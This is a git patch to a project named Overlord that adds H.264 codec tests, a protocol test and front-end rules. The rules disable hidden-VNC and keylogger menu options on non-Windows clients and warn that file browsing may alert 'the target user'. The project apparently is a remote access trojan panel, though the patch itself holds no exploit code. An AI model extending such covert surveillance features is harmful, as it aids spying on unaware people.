From cc135acd365ca21232c77fe60069801d0ab177ce Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 6 Mar 2026 18:32:16 -0600 Subject: [PATCH] add h264 tests (client and server), hide options that won't work for mac + linux and give warning for mac under certain circumstances (fuck ass file viewing). --- .../cmd/agent/capture/h264_codec_test.go | 82 +++++++++++++++++++ Overlord-Server/public/assets/main.js | 56 +++++++++++++ Overlord-Server/public/assets/render.js | 1 + Overlord-Server/src/protocol.test.ts | 24 ++++++ 4 files changed, 163 insertions(+) create mode 100644 Overlord-Client/cmd/agent/capture/h264_codec_test.go diff --git a/Overlord-Client/cmd/agent/capture/h264_codec_test.go b/Overlord-Client/cmd/agent/capture/h264_codec_test.go new file mode 100644 index 0000000..974f2c0 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/h264_codec_test.go @@ -0,0 +1,82 @@ +package capture + +import ( + "image" + "os" + "strings" + "sync" + "testing" +) + +func resetCodecSelectionForTest() { + blockCodecOnce = sync.Once{} + cachedBlockCodec = "" + overrideCodec.Store("") +} + +func TestSetQualityAndCodec_H264FallbackDependsOnAvailability(t *testing.T) { + t.Cleanup(resetCodecSelectionForTest) + + SetQualityAndCodec(80, "h264") + got := blockCodec() + + if h264Available() { + if got != "h264" { + t.Fatalf("expected h264 codec when available, got %q", got) + } + return + } + + if got != "jpeg" { + t.Fatalf("expected jpeg fallback when h264 unavailable, got %q", got) + } +} + +func TestSetQualityAndCodec_InvalidCodecForcesJpeg(t *testing.T) { + t.Cleanup(resetCodecSelectionForTest) + + SetQualityAndCodec(75, "invalid-codec") + got := blockCodec() + if got != "jpeg" { + t.Fatalf("expected invalid codec to force jpeg, got %q", got) + } +} + +func TestH264AvailabilityDetail_NotEmpty(t *testing.T) { + detail := strings.TrimSpace(h264AvailabilityDetail()) + if detail == "" { + t.Fatal("expected h264 availability detail to be non-empty") + } +} + +func TestEncodeH264Frame_WhenUnavailableReturnsError(t *testing.T) { + if h264Available() { + t.Skip("h264 is available in this build; unavailable-path assertion does not apply") + } + + img := image.NewRGBA(image.Rect(0, 0, 2, 2)) + out, err := encodeH264Frame(img) + if err == nil { + t.Fatal("expected an error when h264 is unavailable") + } + if out != nil { + t.Fatalf("expected nil output when h264 is unavailable, got %d bytes", len(out)) + } +} + +func TestBlockCodec_UsesEnvWhenNoOverride(t *testing.T) { + prev := os.Getenv(blockCodecEnv) + if err := os.Setenv(blockCodecEnv, "raw"); err != nil { + t.Fatalf("setenv failed: %v", err) + } + t.Cleanup(func() { + _ = os.Setenv(blockCodecEnv, prev) + resetCodecSelectionForTest() + }) + + resetCodecSelectionForTest() + got := blockCodec() + if got != "raw" { + t.Fatalf("expected env codec raw, got %q", got) + } +} diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 539e2d9..4bb98bb 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -49,6 +49,48 @@ const clearContext = () => { contextCard = null; }; +function detectClientPlatform(clientId) { + if (!clientId) { + return "unknown"; + } + const selectorId = + typeof CSS !== "undefined" && typeof CSS.escape === "function" + ? CSS.escape(clientId) + : clientId; + const card = document.querySelector(`article[data-id="${selectorId}"]`); + const os = String(card?.dataset?.os || "").toLowerCase(); + if (os.includes("windows")) return "windows"; + if (os.includes("darwin") || os.includes("mac")) return "mac"; + if (os.includes("linux")) return "linux"; + return "unknown"; +} + +function applyMenuSupportRules(clientId) { + const platform = detectClientPlatform(clientId); + const isWindows = platform === "windows"; + + const setAvailability = (btn, enabled, reason) => { + if (!btn) return; + btn.disabled = !enabled; + btn.setAttribute("aria-disabled", String(!enabled)); + btn.classList.toggle("opacity-50", !enabled); + btn.classList.toggle("cursor-not-allowed", !enabled); + btn.classList.toggle("hover:bg-slate-700", enabled); + btn.classList.toggle("hover:bg-slate-800/50", !enabled); + btn.title = enabled ? "" : reason; + }; + + const hvncBtn = menu.querySelector('[data-open="hvnc"]'); + setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients."); + + const keyloggerBtn = menu.querySelector('[data-open="keylogger"]'); + setAvailability( + keyloggerBtn, + isWindows, + "Keylogger capture is only fully supported on Windows clients.", + ); +} + async function loadCurrentUser() { try { const res = await fetch("/api/auth/me"); @@ -194,6 +236,7 @@ function initializeRenderer() { totalPill, pageLabel, openMenu: (id, x, y) => { + applyMenuSupportRules(id); openMenu(id, x, y, setContext); loadPluginsForClient(id); }, @@ -511,6 +554,9 @@ window.addEventListener("click", (e) => { menu.addEventListener("click", async (e) => { const target = e.target.closest("button"); if (!target || !contextCard) return; + if (target.disabled || target.getAttribute("aria-disabled") === "true") { + return; + } const pluginId = target.dataset.plugin; if (pluginId) { try { @@ -555,6 +601,16 @@ menu.addEventListener("click", async (e) => { return; } if (open === "files") { + const platform = detectClientPlatform(contextCard); + if (platform !== "windows") { + const proceed = confirm( + "Opening File Browser may show a permission prompt to the target user on their machine. Continue?", + ); + if (!proceed) { + closeMenu(clearContext); + return; + } + } window.open(`/${contextCard}/files`, "_blank", "noopener"); closeMenu(clearContext); return; diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 9675641..5759755 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -166,6 +166,7 @@ export function createRenderer({ const wasChecked = oldCheckbox?.checked || false; card.dataset.online = String(!!client.online); + card.dataset.os = String(client.os || "").toLowerCase(); const os = osBadge(client.os || "unknown"); const arch = archBadge(client.arch || ""); const ver = versionBadge(client.version || ""); diff --git a/Overlord-Server/src/protocol.test.ts b/Overlord-Server/src/protocol.test.ts index c274999..d6fc5de 100644 --- a/Overlord-Server/src/protocol.test.ts +++ b/Overlord-Server/src/protocol.test.ts @@ -2,6 +2,7 @@ import { describe, expect, test } from "bun:test"; import { decodeMessage, encodeMessage, + type Frame, type Hello, type Ping, } from "./protocol"; @@ -37,4 +38,27 @@ describe("protocol encode/decode", () => { expect(decoded.type).toBe("ping"); expect(decoded.ts).toBe(123); }); + + test("round trips h264 frame metadata", () => { + const frame: Frame = { + type: "frame", + header: { + monitor: 1, + fps: 24, + format: "h264", + hvnc: true, + }, + data: new Uint8Array([0, 0, 0, 1, 0x67, 0x42, 0xe0, 0x1e]), + }; + + const encoded = encodeMessage(frame); + const decoded = decodeMessage(encoded) as Frame; + + expect(decoded.type).toBe("frame"); + expect(decoded.header.format).toBe("h264"); + expect(decoded.header.hvnc).toBe(true); + expect(decoded.header.monitor).toBe(1); + expect(decoded.header.fps).toBe(24); + expect(Array.from(decoded.data)).toEqual(Array.from(frame.data)); + }); });